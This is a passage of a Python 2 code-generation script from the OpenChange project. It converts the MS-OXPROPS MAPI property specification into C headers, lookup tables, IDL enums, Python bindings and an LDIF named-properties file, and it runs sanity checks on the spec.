PidTagTransmittableDisplayName\n") altnamelines.append("#define PR_TRANSMITTABLE_DISPLAY_NAME 0x3a20001e\n") altnamelines.append("#define PR_ADDRBOOK_MID PidTagAddressBookMessageId\n") altnamelines.append("#define PR_FREEBUSY_LAST_MODIFIED PidTagFreeBusyRangeTimestamp\n") altnamelines.append("#define PR_FREEBUSY_START_RANGE PidTagFreeBusyPublishStart\n") altnamelines.append("#define PR_FREEBUSY_END_RANGE PidTagFreeBusyPublishEnd\n") altnamelines.append("#define PR_FREEBUSY_ALL_MONTHS PidTagScheduleInfoMonthsMerged\n") altnamelines.append("#define PR_FREEBUSY_ALL_EVENTS PidTagScheduleInfoFreeBusyMerged\n") altnamelines.append("#define PR_FREEBUSY_TENTATIVE_MONTHS PidTagScheduleInfoMonthsTentative\n") altnamelines.append("#define PR_FREEBUSY_TENTATIVE_EVENTS PidTagScheduleInfoFreeBusyTentative\n") altnamelines.append("#define PR_FREEBUSY_BUSY_MONTHS PidTagScheduleInfoMonthsBusy\n") altnamelines.append("#define PR_FREEBUSY_BUSY_EVENTS PidTagScheduleInfoFreeBusyBusy\n") altnamelines.append("#define PR_FREEBUSY_OOF_MONTHS PidTagScheduleInfoMonthsAway\n") altnamelines.append("#define PR_FREEBUSY_OOF_EVENTS PidTagScheduleInfoFreeBusyAway\n") altnamelines.append("#define PR_REMINDERS_ONLINE_ENTRYID 0x36d50102\n") altnamelines.append("#define PR_IPM_PUBLIC_FOLDERS_ENTRYID PidTagIpmPublicFoldersEntryId\n") altnamelines.append("#define PR_PARENT_FID PidTagParentFolderId\n") altnamelines.append("#define PR_URL_COMP_NAME_SET PidTagUrlCompNameSet\n") altnamelines.append("#define PR_ASSOC_CONTENT_COUNT PidTagAssociatedContentCount\n") altnamelines.append("#define PR_NTSD_MODIFICATION_TIME 0x3FD60040\n") altnamelines.append("#define PR_CREATOR_SID 0x0E580102\n") altnamelines.append("#define PR_LAST_MODIFIER_SID 0x0E590102\n") altnamelines.append("#define PR_EXTENDED_ACL_DATA 0x3FFE0102\n") altnamelines.append("#define PR_FOLDER_XVIEWINFO_E 0x36E00102\n") altnamelines.append("#define PR_FOLDER_VIEWLIST 0x36EB0102\n") altnamelines.append("#define PR_EMS_AB_HOME_MTA 0x8007001F\n") altnamelines.append("#define PR_EMS_AB_ASSOC_NT_ACCOUNT 0x80270102\n") altnamelines.append("#define PR_DELETED_MSG_COUNT 0x66400003\n") altnamelines.append("#define PR_RECIPIENT_ON_NORMAL_MSG_COUNT 0x66af0003\n") altnamelines.append("#define PR_CONVERSATION_KEY PidTagConversationKey\n") # write properties out to a master header file f = open('libmapi/property_tags.h', 'w') f.write("/* Automatically generated by script/makepropslist.py. Do not edit */\n") sortedproplines = sorted(proplines) for propline in sortedproplines: f.write(propline) f.close() f = open('libmapi/property_altnames.h', 'w') f.write("/* Automatically generated by script/makepropslist.py. Do not edit */\n") sortedaltnamelines = sorted(altnamelines) for propline in sortedaltnamelines: f.write(propline) f.close() # write canonical properties out for lookup proplines = [] f = open('libmapi/property_tags.c', 'w') proplines = [] f.write("/* Automatically generated by script/makepropslist.py. Do not edit */\n") f.write("#include \"libmapi/libmapi.h\"\n") f.write("#include \"libmapi/libmapi_private.h\"\n") f.write("#include \"gen_ndr/ndr_exchange.h\"\n") f.write("#include \"libmapi/property_tags.h\"\n\n") f.write("struct mapi_proptags\n") f.write("{\n") f.write("\tuint32_t proptag;\n") f.write("\tuint32_t proptype;\n") f.write("\tconst char *propname;\n") f.write("};\n") f.write("\n") for entry in properties: if (entry.has_key("CanonicalName") == False): print "Section", entry["OXPROPS_Sect"], "has no canonical name entry" continue if (entry.has_key("DataTypeName") == False): print "Section", entry["OXPROPS_Sect"], "has no data type entry" continue if entry.has_key("PropertyId"): propline = "\t{ " propline += string.ljust(entry["CanonicalName"] + ",", 68) propline += string.ljust(datatypemap[entry["DataTypeName"]] + ",", 14) propline += string.ljust("\"" + entry["CanonicalName"] + "\"" , 68) + "},\n" proplines.append(propline) propline = "\t{ " propline += string.ljust(entry["CanonicalName"] + "_Error,", 68) propline += string.ljust("PT_ERROR,", 14) propline += string.ljust("\"" + entry["CanonicalName"] + "_Error" + "\"" , 68) + "},\n" proplines.append(propline) proplines.append(extra_private_tags_struct) # this is just a temporary hack till we properly support named properties proplines.append(temporary_private_tags_struct) sortedproplines = sorted(proplines) f.write("static struct mapi_proptags canonical_property_tags[] = {\n") for propline in sortedproplines: f.write(propline) f.write("\t{ 0, 0, \"NULL\" }\n") f.write("};\n") f.write(""" _PUBLIC_ const char *get_proptag_name(uint32_t proptag) { uint32_t idx; for (idx = 0; canonical_property_tags[idx].proptag; idx++) { if (canonical_property_tags[idx].proptag == proptag) { return canonical_property_tags[idx].propname; } } if (((proptag & 0xFFFF) == PT_STRING8) || ((proptag & 0xFFFF) == PT_MV_STRING8)) { proptag += 1; /* try as _UNICODE variant */ } for (idx = 0; canonical_property_tags[idx].proptag; idx++) { if (canonical_property_tags[idx].proptag == proptag) { return canonical_property_tags[idx].propname; } } return NULL; } _PUBLIC_ uint32_t get_proptag_value(const char *propname) { uint32_t idx; for (idx = 0; canonical_property_tags[idx].proptag; idx++) { if (!strcmp(canonical_property_tags[idx].propname, propname)) { return canonical_property_tags[idx].proptag; } } return 0; } _PUBLIC_ uint16_t get_property_type(uint16_t untypedtag) { uint32_t idx; uint16_t current_type; for (idx = 0; canonical_property_tags[idx].proptag; idx++) { if ((canonical_property_tags[idx].proptag >> 16) == untypedtag) { current_type = canonical_property_tags[idx].proptype; if (current_type != PT_ERROR && current_type != PT_STRING8) { return current_type; } } } OC_DEBUG(5, "type for property '%x' could not be deduced", untypedtag); return 0; } """) f.close() # write canonical properties out for IDL input proplines = [] previous_idl_proptags = [] previous_idl_pidtags = [] f = open('properties_enum.h', 'w') f.write("/* Automatically generated by script/makepropslist.py. Do not edit */\n") f.write("typedef [v1_enum, flag(NDR_PAHEX)] enum {\n") for entry in properties: if (entry.has_key("CanonicalName") == False): print "Section", entry["OXPROPS_Sect"], "has no canonical name entry" continue if (entry.has_key("DataTypeName") == False): print "Section", entry["OXPROPS_Sect"], "has no data type entry" continue if entry.has_key("PropertyId"): if entry["PropertyId"] in previous_idl_proptags: # Generate property tag pidtag = format(entry["PropertyId"], "04X") + knowndatatypes[entry["DataTypeName"]][2:] if pidtag in previous_idl_pidtags: print "Skipping output of enum entry for", entry["CanonicalName"], "(duplicate)" continue else: propline = "\t" + string.ljust(entry["CanonicalName"], 68) propline += " = 0x" + format(entry["PropertyId"], "04X") + knowndatatypes[entry["DataTypeName"]][2:] propline += ",\n" proplines.append(propline) continue propline = "\t" + string.ljust(entry["CanonicalName"], 68) propline += " = 0x" + format(entry["PropertyId"], "04X") + knowndatatypes[entry["DataTypeName"]][2:] propline += ",\n" proplines.append(propline) if entry["DataTypeName"] == "PtypString": propline = "\t" + string.ljust(entry["CanonicalName"] + "_string8", 68) propline += " = 0x" + format(entry["PropertyId"], "04X") + "001E" propline += ",\n" proplines.append(propline) propline = "\t" + string.ljust(entry["CanonicalName"] + "_Error", 68) propline += " = 0x" + format(entry["PropertyId"], "04X") + "000A" propline += ",\n" proplines.append(propline) previous_idl_proptags.append(entry["PropertyId"]) previous_idl_pidtags.append(format(entry["PropertyId"], "04X") + knowndatatypes[entry["DataTypeName"]][2:]) sortedproplines = sorted(proplines) for propline in sortedproplines: f.write(propline) # Add additional properties, referenced on MSDN but not in MS-OXPROPS f.write("\t" + string.ljust("PidTagAssociatedContentCount", 68) + " = 0x36170003,\n") f.write("\t" + string.ljust("PidTagFolderChildCount", 68) + " = 0x66380003,\n") f.write("\t" + string.ljust("PidTagIpmPublicFoldersEntryId", 68) + " = 0x66310102,\n") f.write("\t" + string.ljust("PidTagConversationKey", 68) + " = 0x000b0102,\n") f.write("\t" + string.ljust("PidTagContactEmailAddresses", 68) + " = 0x3a56101f,\n") f.write("\t" + string.ljust("PidTagGenerateExchangeViews", 68) + " = 0x36e9000b,\n") f.write("\t" + string.ljust("PidTagLatestDeliveryTime", 68) + " = 0x00190040,\n") f.write("\t" + string.ljust("PidTagMailPermission", 68) + " = 0x3a0e000b,\n") f.write("\tMAPI_PROP_RESERVED = 0xFFFFFFFF\n") f.write("} MAPITAGS;\n") f.close() # write canonical properties out for pyopenchange mapistore proplines = [] previous_idl_proptags = [] previous_idl_pidtags = [] f = open('pyopenchange/pymapi_properties.c', 'w') f.write(""" /* Automatically generated by script/makepropslist.py. Do not edit */ #include <Python.h> #include "pyopenchange/pymapi.h" int pymapi_add_properties(PyObject *m) { """) for entry in properties: if (entry.has_key("CanonicalName") == False): print "Section", entry["OXPROPS_Sect"], "has no canonical name entry" continue if (entry.has_key("DataTypeName") == False): print "Section", entry["OXPROPS_Sect"], "has no data type entry" continue if entry.has_key("PropertyId"): if entry["PropertyId"] in previous_idl_proptags: pidtag = format(entry["PropertyId"], "04X") + knowndatatypes[entry["DataTypeName"]][2:] if pidtag in previous_idl_pidtags: print "Skipping output of Python bindings entry for", entry["CanonicalName"], "(duplicate)" continue else: propline = "\tPyModule_AddObject(m, \"" + entry["CanonicalName"] + "\", " propline += "PyInt_FromLong(0x" + format(entry["PropertyId"], "04X") propline += knowndatatypes[entry["DataTypeName"]][2:] propline += "));\n" proplines.append(propline) continue propline = "\tPyModule_AddObject(m, \"" + entry["CanonicalName"] + "\", " propline += "PyInt_FromLong(0x" + format(entry["PropertyId"], "04X") propline += knowndatatypes[entry["DataTypeName"]][2:] propline += "));\n" proplines.append(propline) propline = "\tPyModule_AddObject(m, \"" + entry["CanonicalName"] + "_Error\", " propline += "PyInt_FromLong(0x" + format(entry["PropertyId"], "04X") + "000A" propline += "));\n" proplines.append(propline) previous_idl_proptags.append(entry["PropertyId"]) previous_idl_pidtags.append(format(entry["PropertyId"], "04X") + knowndatatypes[entry["DataTypeName"]][2:]) sortedproplines = sorted(proplines) for propline in sortedproplines: f.write(propline) f.write(""" return 0; } """) f.close() # write canonical properties out for openchangedb - probably remove this later proplines = [] previous_idl_proptags = [] previous_idl_pidtags = [] f = open('mapiproxy/libmapiproxy/openchangedb_property.c', 'w') f.write(""" /* Automatically generated by script/makepropslist.py. Do not edit */ #include "mapiproxy/dcesrv_mapiproxy.h" #include "libmapiproxy.h" #include "libmapi/libmapi.h" #include "libmapi/libmapi_private.h" struct pidtags { uint32_t proptag; const char *pidtag; }; static struct pidtags pidtags[] = { """) for entry in properties: if (entry.has_key("CanonicalName") == False): print "Section", entry["OXPROPS_Sect"], "has no canonical name entry" continue if (entry.has_key("DataTypeName") == False): print "Section", entry["OXPROPS_Sect"], "has no data type entry" continue if entry.has_key("PropertyId"): if entry["PropertyId"] in previous_idl_proptags: pidtag = format(entry["PropertyId"], "04X") + knowndatatypes[entry["DataTypeName"]][2:] if pidtag in previous_idl_pidtags: print "Skipping output of pidtags entry for", entry["CanonicalName"], "(duplicate)" continue else: propline = "\t{ " + string.ljust(entry["CanonicalName"] + ",", 68) propline += "\"" + entry["CanonicalName"] + "\" },\n" proplines.append(propline) continue propline = "\t{ " + string.ljust(entry["CanonicalName"] + ",", 68) propline += "\"" + entry["CanonicalName"] + "\" },\n" proplines.append(propline) previous_idl_proptags.append(entry["PropertyId"]) previous_idl_pidtags.append(format(entry["PropertyId"], "04X") + knowndatatypes[entry["DataTypeName"]][2:]) sortedproplines = sorted(proplines) for propline in sortedproplines: f.write(propline) f.write("""\t{ 0, NULL } }; static const char *_openchangedb_property_get_string_attribute(uint32_t proptag) { uint32_t i; uint32_t tag_id = (proptag >> 16); for (i = 0; pidtags[i].pidtag; i++) { if (tag_id == (pidtags[i].proptag >> 16)) { return pidtags[i].pidtag; } } return NULL; } _PUBLIC_ const char *openchangedb_property_get_attribute(uint32_t proptag) { uint32_t i; uint32_t prop_type = proptag & 0x0FFF; if (prop_type == PT_UNICODE || prop_type == PT_STRING8) { return _openchangedb_property_get_string_attribute(proptag); } for (i = 0; pidtags[i].pidtag; i++) { if (pidtags[i].proptag == proptag) { return pidtags[i].pidtag; } } OC_DEBUG(0, "Unsupported property tag '0x%.8x'", proptag); return NULL; } """) previous_canonical_names = {} def check_duplicate_canonical_names(): print "Checking canonical names:" for entry in properties: canonicalname = entry["CanonicalName"] if previous_canonical_names.has_key(canonicalname): print "\tIn section", entry["OXPROPS_Sect"], ", canonical name:", entry["CanonicalName"], "duplicates name in section", previous_canonical_names[canonicalname] previous_canonical_names[canonicalname] = (entry["OXPROPS_Sect"]) def check_duplicate_alternative_names(): print "Checking alternative names:" previous_alternative_names = {} for entry in properties: if entry.has_key("AlternateNames"): for altname in entry["AlternateNames"].split(", "): altname = altname.strip() if altname.count(" ") > 0: print "\tIn section", entry["OXPROPS_Sect"], ", alternative name:", altname, "contains space" if previous_alternative_names.has_key(altname): print "\tIn section", entry["OXPROPS_Sect"], ", alternative name:", altname, "duplicates name in section", previous_alternative_names[altname] if previous_canonical_names.has_key(altname): print "\tIn section", entry["OXPROPS_Sect"], ", alternative name:", altname, "duplicates canonical name in section", previous_alternative_names[altname] previous_alternative_names[altname] = (entry["OXPROPS_Sect"]) def check_duplicate_propids(): print "Checking property IDs / LIDs:" previous_propids = {} previous_proplids = {} for entry in properties: if entry.has_key("PropertyId"): propnum = entry["PropertyId"] if previous_propids.has_key(propnum) and propnum < 0x6800: print "\tIn section", entry["OXPROPS_Sect"], "(" + entry["CanonicalName"] + ")" print "\t\tProperty id 0x" + format(propnum, "04x"), "(" + entry["DataTypeName"] + ") duplicates property id in section", previous_propids[propnum][0], "(" + previous_propids[propnum][1] + ")" if (entry.has_key("DataTypeName")): previous_propids[propnum] = (entry["OXPROPS_Sect"], entry["DataTypeName"]) else: previous_propids[propnum] = (entry["OXPROPS_Sect"], "[No DataType]") elif entry.has_key("PropertyLid"): propnum = entry["PropertyLid"] if previous_proplids.has_key(propnum): print "\tIn section", entry["OXPROPS_Sect"], "(" + entry["CanonicalName"] + ")" print "\t\tProperty LID 0x" + format(propnum, "08x"), "(" + entry["DataTypeName"] + ") duplicates property LID in section", previous_proplids[propnum][0], "(" + previous_proplids[propnum][1] + ")" if (entry.has_key("DataTypeName")): previous_proplids[propnum] = (entry["OXPROPS_Sect"], entry["DataTypeName"]) else: previous_proplids[propnum] = (entry["OXPROPS_Sect"], "[No DataTypeName]") elif entry["CanonicalName"].startswith("PidLid"): print "Section", entry["OXPROPS_Sect"], "(" + entry["CanonicalName"] + ") has neither LID nor ID" elif entry["CanonicalName"].startswith("PidName"): pass else: print "Section", entry["OXPROPS_Sect"], "(" + entry["CanonicalName"] + ") is weird" if (entry["CanonicalName"].startswith("PidName") and (entry.has_key("PropertyId") or entry.has_key("PropertyLid"))): print "Section", entry["OXPROPS_Sect"], "(" + entry["CanonicalName"], "in", entry["PropertySet"] + ") has neither LID or ID" def check_proptypes(): print "Checking that data types match:" for entry in properties: datatypename = entry["DataTypeName"] datatypevalue = entry["DataTypeValue"] if (knowndatatypes.has_key(datatypename) == False): print "\tIn section %(section)s : unknown data type %(type)s" % { 'section': entry["OXPROPS_Sect"], 'type': datatypename } elif (knowndatatypes[datatypename] != datatypevalue): print "\tIn section %(section)s : got value %(value)i for type %(type)i (expected %(expected)i)" % { 'section': entry["OXPROPS_Sect"], 'value': datatypeval, 'type': datatypename, 'expected': knowndatatype[datatypename] } def check_propsets(): print "Checking that property sets match:" for entry in properties: if entry.has_key("PropertySet"): propsetname = entry["PropertySet"] propsetvalue = entry["PropertySetValue"] if (knownpropsets.has_key(propsetname) == False): print "\tIn section %(section)s : unknown property set %(propset)s" % { 'section': entry["OXPROPS_Sect"], 'propset': propsetname } elif (knownpropsets[propsetname] != propsetvalue): print "\tIn section %(section)s : got value %(value)s for type %(type)s (expected %(expected)s)" % { 'section': entry["OXPROPS_Sect"], 'value': propsetvalue, 'type': propsetname, 'expected': knownpropsets[propsetname] } def check_descriptions(): print "Checking for descriptions:" for entry in properties: if entry.has_key("Description") == False: print "\tIn section %(section)s : there is no description" % { 'section': entry["OXPROPS_Sect"] } def check_areas(): print "Checking for areas:" for entry in properties: if entry.has_key("Area") == False: print "\tIn section %(section)s : there is no area" % { 'section': entry["OXPROPS_Sect"] } def check_reference_line(entry, line, isdefining): if line.endswith(","): print "\tIn section %(section)s : trailing comma in (defining?) references" % { 'section': entry["OXPROPS_Sect"] } line = line.rstrip(",") for docentry in line.split(","): docentry = docentry.strip() if docentry == "": print "\tIn section %(section)s : empty (defining) reference section" % { 'section': entry["OXPROPS_Sect"] } elif knownrefs.count(docentry) != 1: if len(docentry.split(" ")) > 1: if docentry.split(" ")[1].strip().startswith("section"): # thats ok pass else: print "\tIn section %(section)s : missing comma in (defining?) references: %(docentry)s" % { 'section': entry["OXPROPS_Sect"], 'docentry': docentry } else: print "\tIn section %(section)s : unknown document: %(docname)s" % { 'section': entry["OXPROPS_Sect"], 'docname': docentry } else: try: reffile = file("docs/" + docentry + ".txt") reftext = reffile.read().replace(" ", "") if docentry == "[MS-OXCFXICS]": if (reftext.count((entry["CanonicalName"][6:])) < 1): print "\tIn section %(section)s : (defining) references contains %(docname)s, but %(prop)s wasn't found in that document" % { 'section': entry["OXPROPS_Sect"], 'docname': docentry, 'prop': entry['CanonicalName'] } elif reftext.count(entry["CanonicalName"]) < 1: print "\tIn section %(section)s : (defining) references contains %(docname)s, but %(prop)s wasn't found in that document" % { 'section': entry["OXPROPS_Sect"], 'docname': docentry, 'prop': entry['CanonicalName'] } except IOError: pass def check_references(): print "Checking for references:" for entry in properties: if entry.has_key("References"): check_reference_line(entry, entry["References"], False) elif entry.has_key("DefiningReference"): check_reference_line(entry, entry["DefiningReference"], True) else: print "\tIn section %(section)s : there is no (defining) reference entry" % { 'section': entry["OXPROPS_Sect"] } def check_properties_list(): check_proptypes() check_propsets() check_duplicate_canonical_names() check_duplicate_alternative_names() check_duplicate_propids() # check_descriptions() check_areas() check_references() def next_available_id(knownprops, increment): try: knownprops.index(increment) knownprops.remove(increment) increment += 1 return next_available_id(knownprops, increment) except ValueError: return increment def find_key(dic, val): """return the key of dictionary dic given the value""" try: for k,v in dic.iteritems(): if v == val: return k except ValueError: print "Value %s not found" % val def make_mapi_named_properties_file(): content = "" attributes = "" start_content = "" namedprops = [] knownprops = [] previous_ldif_lid = [] previous_ldif_name = [] for entry in properties: if (entry.has_key("CanonicalName") == False): print "Section", entry["OXPROPS_Sect"], "has no canonical name entry" continue if (entry.has_key("DataTypeName") == False): print "Section", entry["OXPROPS_Sect"], "has no data type entry" continue if (entry.has_key("PropertyId") == False): if entry.has_key("PropertySet"): guid = entry["PropertySet"] else: guid = "[No PropSet]" # Its a named property name = entry["CanonicalName"] proptype = entry["DataTypeName"] if entry.has_key("PropertyLid"): proplid = "0x" + format(entry["PropertyLid"], "04x") if proplid in previous_ldif_lid: print "Skipping output for named properties MNID_ID", name, "(duplicate)" continue; kind = "MNID_ID" OOM = "NULL" # use as default propname = "NULL" if entry.has_key("PropertyName"): OOM = entry["PropertyName"].strip() elif entry.has_key("AlternateNames"): altname = entry["AlternateNames"].strip() if altname.startswith("dispid"): OOM = altname[6:] else: OOM = altname else: pass previous_ldif_lid.append(proplid) else: proplid = "0x0000" kind = "MNID_STRING" OOM = "NULL" propname = "NULL" # use as default if entry.has_key("PropertyName"): propname = entry["PropertyName"].strip() elif entry.has_key("AlternateNames"): for altname in entry["AlternateNames"]: altname = altname.strip() if altname.startswith("dispid"): propname = altname[6:] search_dup = "%s/%s" % (propname, guid) if search_dup in previous_ldif_name: print "Skipping output for named properties MNID_STRING", name, "(duplicate)" continue; previous_ldif_name.append(search_dup) namedprop = (name, OOM, proplid, propname, knowndatatypes[proptype], kind, guid) namedprops.append(namedprop) else: # It's not a named property # Store conflicting properties with propid > 0x8000 propid = entry["PropertyId"] if propid >= 0x8000: try: knownprops.index(propid) except ValueError: knownprops.append(propid) # Create the default GUID containers for key in sorted(knownpropsets): cn = knownpropsets[key].strip('{}').lower() oleguid_ldif = "dn: CN=%s,CN=External,CN=Server\n" \ "objectClass: External\n" \ "cn: %s\n" \ "name: %s\n" \ "oleguid: %s\n\n" % (cn, cn, str(key), cn) content += oleguid_ldif # Write named properties sortednamedprops = sorted(namedprops, key=lambda namedprops: namedprops[6]) # sort by guid increment = next_available_id(knownprops, 0x8000) for line in sortednamedprops: propset = line[6] if propset not in knownpropsets: # Try to guess from the closest match result = difflib.get_close_matches(propset, knownpropsets.keys(), 1, 0.9) if len(result) > 0: propset = result[0] else: raise KeyError(propset) oleguid = knownpropsets[propset].strip('{}').lower() if line[5] == "MNID_STRING": named_props_ldif = "dn: CN=%s,CN=MNID_STRING,CN=%s,CN=External,CN=Server\n" \ "objectClass: External\n" \ "objectClass: MNID_STRING\n" \ "cn: %s\n" \ "canonical: %s\n" \ "oleguid: %s\n" \ "mapped_id: 0x%.4x\n" \ "prop_id: %s\n" \ "prop_type: %s\n" \ "prop_name: %s\n\n" % ( line[3], oleguid, line[3], line[0], oleguid, increment, line[2], line[4], line[3]) else: named_props_ldif = "dn: CN=%s,CN=MNID_ID,CN=%s,CN=External,CN=Server\n" \ "objectClass: External\n" \ "objectClass: MNID_ID\n" \ "cn: %s\n" \ "canonical: %s\n" \ "oleguid: %s\n" \ "mapped_id: 0x%.4x\n" \ "prop_id: %s\n" \ "prop_type: %s\n" \ "oom: %s\n\n" % ( line[2], oleguid, line[2], line[0], oleguid, increment, line[2], line[4], line[1]) content += named_props_ldif increment += 1 increment = next_available_id(knownprops, increment) # Store remaining reserved named properties IDs in attributes for ids in sorted(knownprops): attributes += "reserved_tags: 0x%.4x\n" % ids start_content = "# LDIF file automatically auto-generated by script/makepropslist.py. Do not edit\n\n" start_content += "dn: CN=Server\n" \ "objectClass: top\n" \ "cn: Server\n\n" \ \ "dn: CN=Internal,CN=Server\n" \ "objectClass: Internal\n" \ "objectClass: container\n" \ "objectClass: top\n" \ "cn: Internal\n" \ "mapping_index: 0x0001\n\n" \ \ "dn: CN=External,CN=Server\n" \ "objectClass: External\n" \ "objectClass: container\n" \ "objectClass: top\n" \ "cn: External\n" \ "mapping_index: 0x%.4x\n" % increment start_content += attributes + "\n" start_content += "dn: CN=Users,CN=Server\n" \ "objectClass: container\n" \ "objectClass: top\n" \ "cn: Users\n\n" content = start_content + content # wite named properties buffered file out to LDIF file f = open('setup/mapistore/mapistore_namedprops_v2.ldif', 'w') f.write(content) f.close() # write named properties defines and structure f = open('libmapi/mapi_nameid.h', 'w') f.write(""" /* Automatically generated by script/makepropslist.py. Do not edit */ #ifndef __MAPI_NAMEID_H__ #define __MAPI_NAMEID_H__ /* NOTE TO DEVELOPERS: If this is a MNID_STRING named property, then * we use the arbitrary 0xa000-0xafff property ID range for internal * mapping purpose only. */ struct mapi_nameid_tags { uint32_t proptag; const char *OOM; uint16_t lid; const char *Name; uint32_t propType; uint8_t ulKind; const char *OLEGUID; uint32_t position; }; struct mapi_nameid_names { uint32_t proptag; const char *propname; }; struct mapi_nameid { struct MAPINAMEID *nameid; uint16_t count; struct mapi_nameid_tags *entries; }; /* MNID_ID named properties */ """) for line in sortednamedprops: if line[5] == "MNID_ID": proptag = "0x%.8x" % (int(line[2], 16) << 16 | int(line[4], 16)) propline = "#define %s %s\n" % (string.ljust(line[0], 60), string.ljust(proptag, 20)) f.write(propline) f.write("\n/* MNID_STRING named properties (internal mapping) */\n") mnstring_id = 0xa000 for line in sortednamedprops: if line[5] == "MNID_STRING": proptag = "0x%.8x" % ((mnstring_id << 16) | int(line[4], 16)) propline = "#define %s %s\n" % (string.ljust(line[0], 60), string.ljust(proptag, 20)) mnstring_id += 1 f.write(propline) # Additional properties propline = "#define %s %s\n" % (string.ljust("PidLidRemoteTransferSize", 60), string.ljust("0x8f050003", 20)) f.write(propline) f.write("#endif /* ! MAPI_NAMEID_H__ */") f.close() # write named properties internal mapping f = open('libmapi/mapi_nameid_private.h', 'w') f.write(""" /* Automatically generated by script/makepropslist.py. Do not edit */ #ifndef __MAPI_NAMEID_PRIVATE_H__ #define __MAPI_NAMEID_PRIVATE_H__ static struct mapi_nameid_tags mapi_nameid_tags[] = { """) for line in sortednamedprops: if line[5] == "MNID_ID": OOM = "\"%s\"" % line[1] key = find_key(knowndatatypes, line[4]) datatype = datatypemap[key] propline = "{ %s, %s, %s, %s, %s, %s, %s, %s },\n" % ( string.ljust(line[0], 60), string.ljust(OOM, 65), line[2], line[3], string.ljust(datatype, 15), "MNID_ID", line[6], "0x0") f.write(propline) for line in sortednamedprops: if line[5] == "MNID_STRING": OOM = "%s" % line[1] key = find_key(knowndatatypes, line[4]) datatype = datatypemap[key] propline = "{ %s, %s, %s, \"%s\", %s, %s, %s, %s },\n" % ( string.ljust(line[0], 60), string.ljust(OOM, 65), line[2], line[3], string.ljust(datatype, 15), "MNID_STRING", line[6], "0x0") f.write(propline) # Addtional named properties propline = "{ %s, %s, %s, %s, %s, %s, %s, %s },\n" % ( string.ljust("PidLidRemoteTransferSize", 60), string.ljust("\"RemoteTransferSize\"", 65), "0x8f05", "NULL", string.ljust("PT_LONG", 15), "MNID_ID", "PSETID_Remote", "0x0") f.write(propline) propline = "{ %s, %s, %s, %s, %s, %s, %s, %s }\n" % ( string.ljust("0x00000000", 60), string.ljust("NULL", 65), "0x0000", "NULL", string.ljust("PT_UNSPECIFIED", 15), "0x0", "NULL", "0x0") f.write(propline) f.write(""" }; """) f.write(""" static struct mapi_nameid_names mapi_nameid_names[] = { """) for line in sortednamedprops: propline = "{ %s, \"%s\" },\n" % (string.ljust(line[0], 60), line[0]) f.write(propline) # Additional named properties propline = "{ %s, \"%s\" }\n" % (string.ljust("PidLidRemoteTransferSize", 60), "PidLidRemoteTransferSize") propline = "{ %s, \"%s\" }\n" % (string.ljust("0x00000000", 60), "NULL") f.write(propline) f.write(""" }; #endif /* !MAPI_NAMEID_PRIVATE_H__ */ """) f.close() def dump_areas_count(): areas = {} for area in knownareas: areas[area] = 0 for entry in properties: if (entry.has_key("Area") == False): print "Section", entry["OXPROPS_Sect"], "has no area entry" else: areas[entry["Area"]] += 1 for area in knownareas: print area, ":", areas[area] def fix_problems(propsfilename): retcode = subprocess.call(["sed", "-i", "-e", "s/.Dta type: PtypBoolean, 0x000B/Data type: PtypBoolean, 0x000B/", "-e", "s/.Data Type: PtypString, 0x001F/Data type: PtypString, 0x001F/", "-e", "s/.Data type: PtyString, 0x001F/Data type: PtypString, 0x001F/", "-e", "s/.Area: MAPI Display Tables\[MS-OXOABK\] section 2.2.3.33/Area: MAPI Display Tables\\nDefining Reference: \[MS-OXOABK\] section 2.2.3.33/", "-e", "s/.Area: ProviderDefinedNonTransmittable\[MS-OXCTABL\] section 2.2.1.2/Area: ProviderDefinedNonTransmittable\\nDefining Reference: \[MS-OXCTABL\] section 2.2.1.2/", "-e", "s/.Area: Server-Side Rules Properties\[MS-OXORULE\] section 2.2.1.3.2.2/Area: Server-Side Rules Properties\\nDefining Reference: \[MS-OXORULE\] section 2.2.1.3.2.2/", "-e", "s/.Area: MapiMailUser\[MS-OXOABK\] section 2.2.4.66/Area: MapiMailUser\\nDefining Reference: \[MS-OXOABK\] section 2.2.4.66/", "-e", "s/.Description: \[MS-OXORULE\] section 2.2.7.3/Defining Reference: \[MS-OXORULE\] section 2.2.7.3/", "-e", "s/.Property set: PSTID_Sharing {00062040-0000-0000-C000-000000000046}/Property set: PSETID_Sharing {00062040-0000-0000-C000-000000000046}/", "-e", "s/.Property set: PSETID_Address {00062004-0000-0000-C000-00000000046}/Property set: PSETID_Address {00062004-0000-0000-C000-000000000046}/", "-e", "s/.Property set: PSETID_Address{00062004-0000-0000-C000-000000000046}/Property set: PSETID_Address {00062004-0000-0000-C000-000000000046}/", "-e", "s/.Property set: PSETID_Appointment {00062002-0000-0000-C000-0000000000046}/Property set: PSETID_Appointment {00062002-0000-0000-C000-000000000046}/", "-e", "s/.Property set: PSETID_Address {00062004-0000-0000-C00-0000000000046}/Property set: PSETID_Address {00062004-0000-0000-C000-000000000046}/", "-e", "s/.Consuming Reference: \[MS-OXCICAL\] Alternate names: PR_NEXT_SEND_ACCT/Consuming Reference: \[MS-OXCICAL\]\\nAlternate names: PR_NEXT_SEND_ACCT/", "-e", "s/.Alternate names: PR_WB_SF_ID//", "-e", "s/.Alternate names: PR_WB_SF_TAG//", "-e", "s/.Alternate names: PR_EMS_AB_DL_MEM_REJECT_PERMS//", "-e", "s/.Alternate names: PR_EMS_AB_DL_MEM_SUBMIT_PERMS//", "-e", "s/.General Message Properties Defining reference/General Message Properties\\nDefining reference/", "-e", "s/.Data type: PtypString8, 0x001E; PtypEmbeddedTable, 0x000D/Data type: PtypString8, 0x001E/", "-e", "s/.Data type: PtypString, 0x001F; PtypMultipleBinary, 0x1102/Data type: PtypString, 0x001F/", propsfilename]) if retcode != 0: print "Could not fix problem:", retcode sys.exit(retcode) # Fix data type error for PidTagWlinkGroupHeaderID - PtypGuid instead of PtypBinary with open(propsfilename) as f: file_str = f.read() file_str = file_str.replace("Description: Specifies the ID of the navigation shortcut that groups other navigation shortcuts.\n\nProperty ID: 0x6842\n\nData type: PtypBinary, 0x0102", "Description: Specifies the ID of the navigation shortcut that groups other navigation shortcuts.\n\nProperty ID: 0x6842\n\nData type: PtypGuid, 0x0048") with open(propsfilename, "w") as f: f.write(file_str) f.close() def main(): oxpropsparser = argparse.ArgumentParser(description='Convert MS-OXPROPS to other formats') oxpropsparser.add_argument('--pdffile', required=True) oxpropsparser.add_argument('--sanitycheck', action='store_true') oxpropsparser.add_argument('--sanitycheckonly', action='store_true') args = oxpropsparser.parse_args() propsfile = tempfile.mkstemp(suffix='txt') propsfilename = propsfile[1] retcode = subprocess.call(["pdftotext", "-nopgbrk", "-layout", args.pdffile, propsfilename]) if 